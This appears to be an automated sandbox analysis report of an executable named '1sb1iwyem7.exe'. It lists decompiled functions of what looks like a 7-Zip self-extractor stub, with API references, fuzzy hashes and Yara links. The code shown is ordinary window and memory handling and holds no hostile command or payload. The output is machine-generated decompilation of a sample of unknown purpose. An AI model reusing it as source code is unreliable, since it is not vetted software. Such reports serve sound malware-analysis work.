Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@wcsncpy
String ID:
API String ID: 3034541985-0
Opcode ID: c886345f42a89e38147d86890f6206be9fc0e1e3ef2aa4462b3c4a99f6da78c6
Instruction ID: 6aaab2933dda83b848260475bd0ce4bd17d474790b6213925c89a090bfd6a3a1
Opcode Fuzzy Hash: c886345f42a89e38147d86890f6206be9fc0e1e3ef2aa4462b3c4a99f6da78c6
Instruction Fuzzy Hash: 69F086B19001087ED714B755EC52DEE73BCDF80714B20417FF511B2092DB746D458A68

Uniqueness

Uniqueness Score: -1.00%

Function 00408CE2, Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00408CE2(int _a4, int _a8, struct tagPOINT* _a12) {
				struct tagRECT _v20;
				intOrPtr _t11;
				intOrPtr _t16;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr* _t23;
				struct tagPOINT* _t25;

				_t11 =  *0x4228b4; // 0x0
				if(_t11 == 0) {
					return 0;
				}
				_t25 = _a12;
				if( *((intOrPtr*)(_t11 + 0x48)) <= 0) {
					L9:
					return CallNextHookEx( *0x4228b8, _a4, _a8, _t25);
				}
				_t21 =  *0x422600; // 0x202
				_t23 = 0x422600;
				while(_t21 != 0) {
					if(_t21 == _a8) {
						ScreenToClient( *(_t11 + 4), _t25);
						_t16 =  *0x4228b4; // 0x0
						GetClientRect( *(_t16 + 4),  &_v20);
						_push(_t25->y);
						if(PtInRect( &_v20,  *_t25) != 0) {
							_t22 =  *0x4228b4; // 0x0
							E0040846F(_t22);
						}
						goto L9;
					}
					_t23 = _t23 + 4;
					_t21 =  *_t23;
				}
				goto L9;
			}

0x00408ce5
0x00408cef
0x00000000
0x00408d68
0x00408cf6
0x00408cf9
0x00408d52
0x00000000
0x00408d65
0x00408cfb
0x00408d01
0x00408d12
0x00408d0b
0x00408d1c
0x00408d26
0x00408d2e
0x00408d34
0x00408d45
0x00408d47
0x00408d4d
0x00408d4d
0x00000000
0x00408d45
0x00408d0d
0x00408d10
0x00408d10
0x00000000

APIs

ScreenToClient.USER32 ref: 00408D1C
GetClientRect.USER32 ref: 00408D2E
PtInRect.USER32(?,?,?), ref: 00408D3D

Part of subcall function 0040846F: KillTimer.USER32(?,00000001,?,00408D52), ref: 0040847D

CallNextHookEx.USER32 ref: 00408D5F

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 993c2614d7880d53dfabe33bba4063a44cb0ef45497057784dd9015b7f499a48
Instruction ID: 3a3e0b2ee197b87f3047a46ed79295dbf0db4e011d250cd12eb6af0489ec551e
Opcode Fuzzy Hash: 993c2614d7880d53dfabe33bba4063a44cb0ef45497057784dd9015b7f499a48
Instruction Fuzzy Hash: 8001AD31200109EFDF24EF64DE45EAA7BA5FF14300704863EE895A22B0DB78E811DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00414529, Relevance: 6.0, APIs: 4, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00414529(void** __ecx, void* _a4) {
				void* _v0;
				void* _v20;
				signed int _t29;
				void* _t33;
				void* _t36;
				void* _t38;
				void* _t39;
				void** _t40;
				signed int _t51;
				signed int _t53;
				void* _t55;
				signed int _t56;
				void** _t57;
				void** _t58;
				void* _t64;

				_t40 = __ecx;
				_t55 = _a4;
				_t57 = __ecx;
				if(_t55 < __ecx[1]) {
					L3:
					_push(0x41fbdc);
					_push( &_a4);
					_a4 = 0x13329ad;
					L0041C310();
					asm("int3");
					_t38 = _v20;
					_push(_t57);
					_push(_t55);
					_t58 = _t40;
					__eflags = _t38 - 0x40000000;
					if(__eflags >= 0) {
						_push(0x41fbdc);
						_push( &_v0);
						_v0 = 0x13329ad;
						L0041C310();
					}
					_t51 = 2;
					_t19 = _t38 + 1; // 0x13329ae
					_t29 = _t19 * _t51;
					_push( ~(0 | __eflags > 0x00000000) | _t29);
					L0041C16C();
					_t56 = _t29;
					__eflags = 0;
					 *_t56 = 0;
					_push( *_t58);
					L0041C160();
					 *_t58 = _t56;
					_t58[2] = _t38;
					return 0;
				} else {
					_t64 = _t55 - 0x40000000;
					if(_t64 >= 0) {
						goto L3;
					} else {
						_t53 = 2;
						_t33 = (_t55 + 1) * _t53;
						_push( ~(0 | _t64 > 0x00000000) | _t33);
						L0041C16C();
						_t39 = _t33;
						_t36 = memcpy(_t39,  *__ecx, __ecx[1] + __ecx[1] + 2);
						_push( *_t57);
						L0041C160();
						_t57[2] = _t55;
						 *_t57 = _t39;
						return _t36;
					}
				}
			}

0x00414529
0x0041452f
0x00414532
0x00414537
0x00414580
0x00414580
0x00414588
0x00414589
0x00414590
0x00414595
0x0041459a
0x0041459d
0x0041459e
0x0041459f
0x004145a1
0x004145a7
0x004145a9
0x004145b1
0x004145b2
0x004145b9
0x004145b9
0x004145c2
0x004145c3
0x004145c6
0x004145cf
0x004145d0
0x004145d5
0x004145d7
0x004145d9
0x004145dc
0x004145de
0x004145e5
0x004145e8
0x004145ee
0x00414539
0x00414539
0x0041453f
0x00000000
0x00414541
0x00414545
0x00414549
0x00414552
0x00414553
0x00414558
0x00414565
0x0041456a
0x0041456c
0x00414574
0x00414578
0x0041457d
0x0041457d
0x0041453f

APIs

??2@YAPAXI@Z.MSVCRT ref: 00414553
memcpy.MSVCRT ref: 00414565
??3@YAXPAX@Z.MSVCRT ref: 0041456C
_CxxThrowException.MSVCRT(00000000,0041FBDC), ref: 00414590

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: fbf67506e7b852d834da6b769d7c2a1f77e85b85f8e58d34c54b7bbeba27a539
Instruction ID: bad1208c822c5cb59acc694e3c3e07b52318d6ca9f25ae31226294b0ebccef01
Opcode Fuzzy Hash: fbf67506e7b852d834da6b769d7c2a1f77e85b85f8e58d34c54b7bbeba27a539
Instruction Fuzzy Hash: 14F0F9B22402047FC7149F29DC82D9BF7EDEF40758B11842FF54987102D675A8808B58

Uniqueness

Uniqueness Score: -1.00%

Function 00416DD5, Relevance: 6.0, APIs: 4, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00416DD5(void* __ecx, signed char _a4) {
				signed int _t13;
				signed char _t15;
				signed int _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				signed int* _t28;

				_t15 = _a4;
				_t25 = __ecx;
				if((_t15 & 0x00000002) == 0) {
					_push( *((intOrPtr*)(__ecx + 8)));
					L0041C160();
					if((_t15 & 0x00000001) != 0) {
						_push(__ecx);
						L0041C160();
					}
					return _t25;
				}
				_t28 = __ecx - 4;
				_t22 =  *_t28;
				_t13 = _t22 * 0x18;
				_t23 = _t22 - 1;
				if(_t23 < 0) {
					L4:
					if((_t15 & 0x00000001) != 0) {
						_push(_t28);
						L0041C160();
					}
					return _t28;
				}
				_t6 = _t25 + 8; // 0x8
				_t26 = _t13 + _t6;
				do {
					_t26 = _t26 - 0x18;
					_push( *_t26);
					L0041C160();
					_t23 = _t23 - 1;
				} while (_t23 >= 0);
				goto L4;
			}

0x00416dd6
0x00416ddb
0x00416de0
0x00416e16
0x00416e19
0x00416e22
0x00416e24
0x00416e25
0x00416e2a
0x00000000
0x00416e2b
0x00416de4
0x00416de7
0x00416dec
0x00416def
0x00416df0
0x00416e04
0x00416e07
0x00416e09
0x00416e0a
0x00416e0f
0x00000000
0x00416e13
0x00416df2
0x00416df2
0x00416df6
0x00416df6
0x00416df9
0x00416dfb
0x00416e00
0x00416e01
0x00000000

APIs

??3@YAXPAX@Z.MSVCRT ref: 00416DFB
??3@YAXPAX@Z.MSVCRT ref: 00416E0A
??3@YAXPAX@Z.MSVCRT ref: 00416E19
??3@YAXPAX@Z.MSVCRT ref: 00416E25

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 20e58f5bd86f29084542dd9f6670e3fddfa2948c34d58c53b4fd5e4fcf8c5b10
Instruction ID: 5ed55d8bb8277f8b889ebe8e5b5cab0204d9acc34e3e71aa26cf118e3204e308
Opcode Fuzzy Hash: 20e58f5bd86f29084542dd9f6670e3fddfa2948c34d58c53b4fd5e4fcf8c5b10
Instruction Fuzzy Hash: C7F0243B3C16256AC225261DDC017DBBBA99F45760F16055FF84096263CA5AECD0899C

Uniqueness

Uniqueness Score: -1.00%

Function 00404B33, Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00404B33(struct HWND__* __ecx) {
				WCHAR* _v16;
				char _v28;
				char _v40;
				int _t19;
				struct HWND__* _t31;
				void* _t33;

				_t31 = __ecx;
				E00404AF5( &_v16, __ecx, _t33);
				E00405546( &_v16, _t33);
				E00414803( &_v40, "%");
				E00414803( &_v28, L"%^");
				E00414BA6( &_v16,  &_v28,  &_v40);
				_push(_v28);
				L0041C160();
				_push(_v40);
				L0041C160();
				_t19 = SetWindowTextW(_t31, _v16);
				_push(_v16);
				L0041C160();
				return _t19;
			}

0x00404b3a
0x00404b41
0x00404b49
0x00404b56
0x00404b63
0x00404b73
0x00404b78
0x00404b7b
0x00404b80
0x00404b83
0x00404b8e
0x00404b94
0x00404b99
0x00404ba3

APIs

Part of subcall function 00404AF5: GetWindowTextLengthW.USER32(?), ref: 00404B02
Part of subcall function 00404AF5: GetWindowTextW.USER32 ref: 00404B1C

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 00404B7B
??3@YAXPAX@Z.MSVCRT ref: 00404B83
SetWindowTextW.USER32(?,?), ref: 00404B8E
??3@YAXPAX@Z.MSVCRT ref: 00404B99

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@TextWindow$Lengthmemcpy
String ID:
API String ID: 396479319-0
Opcode ID: f229cd919cc25b1b92206c6ce626db26ee042fc82295a65d0685826aff1d7155
Instruction ID: 19ea8e6cb93d9cd3ba04d51c560a34885da5182b26a5070d63b94fab34289d6b
Opcode Fuzzy Hash: f229cd919cc25b1b92206c6ce626db26ee042fc82295a65d0685826aff1d7155
Instruction Fuzzy Hash: AFF0E176D440187ACB05FBD5EC438DEB7B99E44708B2041ABF501B2095DE756E85CA9C

Uniqueness

Uniqueness Score: -1.00%

Function 00414283, Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00414283(void** __ecx, void* _a4) {
				void* _v0;
				void* _v20;
				void* _t14;
				void* _t16;
				void* _t19;
				void* _t21;
				void* _t22;
				void** _t23;
				void* _t26;
				void* _t27;
				void** _t28;
				void** _t29;

				_t23 = __ecx;
				_t26 = _a4;
				_t28 = __ecx;
				if(_t26 < __ecx[1] || _t26 >= 0x40000000) {
					_push(0x41fbdc);
					_push( &_a4);
					_a4 = 0x13329ac;
					L0041C310();
					asm("int3");
					_t21 = _v20;
					_push(_t28);
					_push(_t26);
					_t29 = _t23;
					if(_t21 >= 0x40000000) {
						_push(0x41fbdc);
						_push( &_v0);
						_v0 = 0x13329ac;
						L0041C310();
					}
					_t11 = _t21 + 1; // 0x13329ad
					_t14 = _t11;
					_push(_t14);
					L0041C16C();
					_t27 = _t14;
					 *_t27 = 0;
					_push( *_t29);
					L0041C160();
					 *_t29 = _t27;
					_t29[2] = _t21;
					return _t14;
				} else {
					_t16 = _t26 + 1;
					_push(_t16);
					L0041C16C();
					_t22 = _t16;
					_t19 = memcpy(_t22,  *__ecx, __ecx[1] + 1);
					_push( *_t28);
					L0041C160();
					_t28[2] = _t26;
					 *_t28 = _t22;
					return _t19;
				}
			}

0x00414283
0x00414289
0x0041428c
0x00414291
0x004142c9
0x004142d1
0x004142d2
0x004142d9
0x004142de
0x004142e3
0x004142e6
0x004142e7
0x004142e8
0x004142f0
0x004142f2
0x004142fa
0x004142fb
0x00414302
0x00414302
0x00414307
0x00414307
0x0041430a
0x0041430b
0x00414310
0x00414312
0x00414315
0x00414317
0x0041431e
0x00414321
0x00414327
0x0041429b
0x0041429b
0x0041429e
0x0041429f
0x004142a4
0x004142ae
0x004142b3
0x004142b5
0x004142bd
0x004142c1
0x004142c6
0x004142c6

APIs

??2@YAPAXI@Z.MSVCRT ref: 0041429F
memcpy.MSVCRT ref: 004142AE
??3@YAXPAX@Z.MSVCRT ref: 004142B5
_CxxThrowException.MSVCRT(009D2650,0041FBDC), ref: 004142D9

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: 48800b83895c4d5c180d0943daf6eba398b19e5afb00cb206730345c2231b4af
Instruction ID: 5b66cd78a0db593bdef5d09f9cd12a00abbc121f78fce6118f4eaf4c7a2e81d2
Opcode Fuzzy Hash: 48800b83895c4d5c180d0943daf6eba398b19e5afb00cb206730345c2231b4af
Instruction Fuzzy Hash: 6DF0BB75140208BFC710DF55DCC198BF7EDEF54798711492FF94583102D275A8C48BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040C140, Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040C140(void* __ebx, intOrPtr* __ecx, void* __eflags) {
				void* _t3;
				void* _t7;
				intOrPtr* _t15;
				intOrPtr* _t16;

				_t15 = __ecx;
				EnterCriticalSection(0x4249f8);
				_t16 = _t15 + 0x10;
				if(E0040BEA0(_t16) != 0) {
					L4:
					_push(_t16);
					_t3 = E0040C0D0(0x422628);
				} else {
					_t7 = E0040BEA0(_t16);
					if(_t7 == 0) {
						E0040B810(_t16);
					}
					_t3 = E0040BFD0(_t15, _t16);
					if(_t7 == 0) {
						goto L4;
					}
				}
				LeaveCriticalSection(0x4249f8);
				return _t3;
			}

0x0040c147
0x0040c149
0x0040c14f
0x0040c15c
0x0040c184
0x0040c184
0x0040c18a
0x0040c15e
0x0040c16a
0x0040c16e
0x0040c172
0x0040c172
0x0040c17a
0x0040c182
0x00000000
0x00000000
0x0040c182
0x0040c194
0x0040c19c

APIs

EnterCriticalSection.KERNEL32(004249F8,?,?,0040C1CF,?,?,?,?,?,0041CA20,000000FF), ref: 0040C149
LeaveCriticalSection.KERNEL32(004249F8,?,?,?,?,0040C1CF,?,?,?,?,?,0041CA20,000000FF), ref: 0040C194

Part of subcall function 0040BEA0: memmove.MSVCRT ref: 0040BF0B

Part of subcall function 0040B810: memset.MSVCRT ref: 0040B869

Strings

(&B, xrefs: 0040C185
(&B, xrefs: 0040C160

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavememmovememset
String ID: (&B$(&B
API String ID: 2443406628-3506096430
Opcode ID: f016356fa7e24247763b21a98c0f9a686db0cf529d991d74a4701e524a56e4fd
Instruction ID: 853edd7aaeb107b7cb5601c09f28b255d6913e1c7a09ba2968700e737119d554
Opcode Fuzzy Hash: f016356fa7e24247763b21a98c0f9a686db0cf529d991d74a4701e524a56e4fd
Instruction Fuzzy Hash: B6E08C71382121628A1533393C55AFA261EDEC6348B45023BB6417B2C2CFAD184786FD

Uniqueness

Uniqueness Score: -1.00%

Function 00408183, Relevance: 6.0, APIs: 4, Instructions: 34
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408183(void* __ecx) {
				struct tagLOGFONTW _v96;
				int _t8;
				long _t11;
				int _t15;

				if(( *0x42245c & 0x00000010) != 0) {
					_t8 = GetObjectW( *(__ecx + 0x34), 0x5c,  &_v96);
					if(_t8 != 0) {
						_v96.lfWeight = 0x2bc;
						_t11 = CreateFontIndirectW( &_v96);
						_t15 = _t11;
						if(_t15 != 0) {
							_t11 = SendMessageW(GetDlgItem( *(__ecx + 4), 0x4b5), 0x30, _t15, 0);
						}
						return _t11;
					}
				}
				return _t8;
			}

0x00408193
0x0040819e
0x004081a6
0x004081ad
0x004081b4
0x004081ba
0x004081be
0x004081d4
0x004081d4
0x00000000
0x004081da
0x004081a6
0x004081dd

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 0040819E
CreateFontIndirectW.GDI32(?), ref: 004081B4
GetDlgItem.USER32 ref: 004081C8
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004081D4

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: afbff07d09dddf9371f97f906327bbbd58aa03dbd1351fda712479fe90e32f0f
Instruction ID: d5b718cc934acb00f13f44d7e909b03c4c551f7785cdaa53379e29aff312fd17
Opcode Fuzzy Hash: afbff07d09dddf9371f97f906327bbbd58aa03dbd1351fda712479fe90e32f0f
Instruction Fuzzy Hash: 70F054B5900714ABD7205B94DD09F8B7BACAF48B15F048039AD52E51D5DBB4D4068B28

Uniqueness

Uniqueness Score: -1.00%

Function 004038D4, Relevance: 6.0, APIs: 4, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038D4(struct HWND__* __ecx, struct tagPOINT* __edx) {
				struct HWND__* _t1;
				struct HWND__* _t7;
				struct HWND__* _t10;
				struct tagPOINT* _t12;

				_t10 = __ecx;
				_t12 = __edx;
				_t1 = GetParent(__ecx);
				_t7 = _t1;
				if(_t7 != 0) {
					GetWindowRect(_t10, _t12);
					ScreenToClient(_t7, _t12);
					ScreenToClient(_t7, _t12 + 8);
					return 1;
				}
				return _t1;
			}

0x004038d7
0x004038da
0x004038dc
0x004038e2
0x004038e6
0x004038ea
0x004038f8
0x004038ff
0x00000000
0x00403903
0x00403907

APIs

GetParent.USER32 ref: 004038DC
GetWindowRect.USER32 ref: 004038EA
ScreenToClient.USER32 ref: 004038F8
ScreenToClient.USER32 ref: 004038FF

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: 4c92e9c479757e8e066bde25e06fea40a487b1c64e9eb2093d4279233fbb5f16
Instruction ID: 3d7e383402d4b386d472006189a1f244a9290001d11243c4274d9f08879646a2
Opcode Fuzzy Hash: 4c92e9c479757e8e066bde25e06fea40a487b1c64e9eb2093d4279233fbb5f16
Instruction Fuzzy Hash: F5E012B7A012256B931427B76C88CEB9F5CDDD65763064476F919D2210C9B8DC0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00409617, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409617(void* __ecx, void* __edx, void* __eflags) {
				char _v84;
				void* _t7;
				void* _t16;
				void* _t18;

				_t18 = __ecx;
				E004075CF( &_v84, __edx, __eflags);
				_v84 = 0x41ef68;
				if(IsWindow( *0x4228c4) != 0 && IsBadReadPtr( *0x4228c8, 0x78) == 0) {
					_t16 =  *0x4228c8; // 0x0
					E0040816A(_t16, 8);
				}
				_t7 = E00407941( &_v84, 0x14,  *0x42274c, _t18,  *0x4228c4);
				E00407630(_t7,  &_v84);
				return _t7;
			}

0x0040961e
0x00409623
0x0040962e
0x0040963d
0x00409651
0x00409659
0x00409659
0x00409670
0x0040967a
0x00409683

APIs

Part of subcall function 004075CF: KiUserCallbackDispatcher.NTDLL ref: 00407611
Part of subcall function 004075CF: GetSystemMetrics.USER32 ref: 0040761F

IsWindow.USER32(004227F0), ref: 00409635
IsBadReadPtr.KERNEL32(00000078), ref: 00409647

Strings

hA, xrefs: 0040962E

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CallbackDispatcherMetricsReadSystemUserWindow
String ID: hA
API String ID: 388239213-2144240161
Opcode ID: 803d6675f1e9c557cdb4753af97064b13971d40bfe3ea479c8e0607b0e8b4fdd
Instruction ID: 53677f3ef0150f60e2e917f8fddf25ce213b8b63ff0de2c48ed14ab9013a4a30
Opcode Fuzzy Hash: 803d6675f1e9c557cdb4753af97064b13971d40bfe3ea479c8e0607b0e8b4fdd
Instruction Fuzzy Hash: 26F0F031B44214BBCB257BE19D05AD93BB5EF14704F40013AE901B61E0DFB5980ACBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004055E3, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

_wtol.MSVCRT(00000000,00000030,GUIFlags,00405851,?,00422148,?,?,004065DA,?), ref: 00405580

Strings

MiscFlags, xrefs: 00405562
t'B, xrefs: 004055F7

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: _wtol
String ID: MiscFlags$t'B
API String ID: 2131799477-2400136614
Opcode ID: b0616bf743ce42b5889569d14b64b5fb774e87ef02abb3a457d94b56771745ef
Instruction ID: 8d513a133ae9621e771551aaefc0b9698f2617da03fa0e1a1750c1a50823643d
Opcode Fuzzy Hash: b0616bf743ce42b5889569d14b64b5fb774e87ef02abb3a457d94b56771745ef
Instruction Fuzzy Hash: C8F0A0A1C24820B1CB3846096CC843F62A3DE6E350B38053BE442F12E8C33C8CC29D5E

Uniqueness

Uniqueness Score: -1.00%

Function 00405A8F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A8F() {

				MessageBoxA(0, "Could not allocate memory", "7-Zip SFX", 0x10);
				return 0;
			}

0x00405a9d
0x00405aa5

APIs

MessageBoxA.USER32 ref: 00405A9D

Strings

Could not allocate memory, xrefs: 00405A96
7-Zip SFX, xrefs: 00405A91

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: a489221f4986250d18ead154f7d6b7669e8a2de19b10e5f35446c668475b1b6f
Instruction ID: a049ee2480a7b50d5fda29a44b7701a856f8a6ed2be67fd4fe0477549e7dcf93
Opcode Fuzzy Hash: a489221f4986250d18ead154f7d6b7669e8a2de19b10e5f35446c668475b1b6f
Instruction Fuzzy Hash: DFB012743C830421D10083210C0FFC411509B0CF06F1048117902A80C2C5C87080910E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 1sb1iwyem7.exe PID: 6268 Parent PID: 5384 1sb1iwyem7.exeCOMMON

Executed Functions

Function 00406024, Relevance: 197.1, APIs: 70, Strings: 42, Instructions: 1139
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00406024(void* __edx) {
				void* __edi;
				void* __esi;
				signed int _t218;
				short* _t237;
				void* _t238;
				signed int _t239;
				signed int _t240;
				signed int _t243;
				signed int _t248;
				signed int _t251;
				signed int _t255;
				signed int _t256;
				void* _t259;
				signed int _t262;
				signed int _t272;
				signed int _t274;
				signed int _t276;
				signed int _t278;
				signed int _t281;
				signed short _t283;
				intOrPtr _t287;
				signed short* _t289;
				signed int _t292;
				signed int _t293;
				void* _t294;
				short* _t299;
				long _t315;
				signed int _t322;
				signed short* _t328;
				signed int _t336;
				signed int _t338;
				signed int _t339;
				signed int _t340;
				signed int _t346;
				signed int _t348;
				signed int _t350;
				signed int _t358;
				signed int _t360;
				signed int _t367;
				signed int _t383;
				short _t400;
				signed short* _t401;
				signed int _t402;
				intOrPtr _t406;
				intOrPtr _t409;
				signed int _t412;
				intOrPtr _t416;
				signed int _t419;
				signed int _t420;
				signed int _t421;
				signed int _t425;
				signed int _t429;
				signed int _t430;
				signed short _t431;
				signed int _t434;
				signed int _t436;
				signed int _t437;
				signed int _t438;
				signed int _t439;
				signed short _t445;
				void* _t446;
				void* _t452;
				signed int _t455;
				signed int _t456;
				intOrPtr _t484;
				intOrPtr _t492;
				signed int _t509;
				signed int _t510;
				intOrPtr _t546;
				intOrPtr _t558;
				void* _t573;
				signed int _t592;
				signed int _t594;
				signed char _t596;
				signed int _t598;
				signed int _t603;
				WCHAR* _t605;
				void* _t610;
				intOrPtr _t612;
				signed int _t614;
				signed int _t616;
				void* _t641;
				signed int _t647;
				intOrPtr _t650;
				intOrPtr _t658;
				intOrPtr _t660;
				intOrPtr _t665;
				intOrPtr _t666;
				void* _t676;
				signed int _t679;
				void* _t682;
				signed int _t684;
				signed int _t685;
				intOrPtr _t689;
				signed short* _t690;
				signed int _t696;
				signed int _t697;
				void* _t698;
				signed int _t701;
				signed int _t703;
				signed int _t704;
				WCHAR* _t705;
				unsigned int _t712;
				signed int _t714;
				void* _t720;
				void* _t722;
				void* _t723;
				void* _t725;
				void* _t728;

				_t626 = __edx;
				_t720 = _t722 - 0x68;
				_t723 = _t722 - 0x2d4;
				__imp__?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z(E00405A8F, _t682, _t698, _t446);
				E00403834(__edx); // executed
				 *(_t720 - 0x26c) = 0x114;
				if(GetVersionExW(_t720 - 0x26c) == 0 ||  *((intOrPtr*)(_t720 - 0x25c)) != 2) {
					L215:
					MessageBoxA(0, "Sorry, this program requires Microsoft Windows 2000 or later.", "7-Zip SFX", 0x10);
					_t218 = 0x14;
					goto L216;
				} else {
					_t731 =  *((intOrPtr*)(_t720 - 0x268)) - 5;
					if( *((intOrPtr*)(_t720 - 0x268)) < 5) {
						goto L215;
					}
					";!@InstallEnd@!" = 0x3b;
					";!@Install@!UTF-8!" = 0x3b;
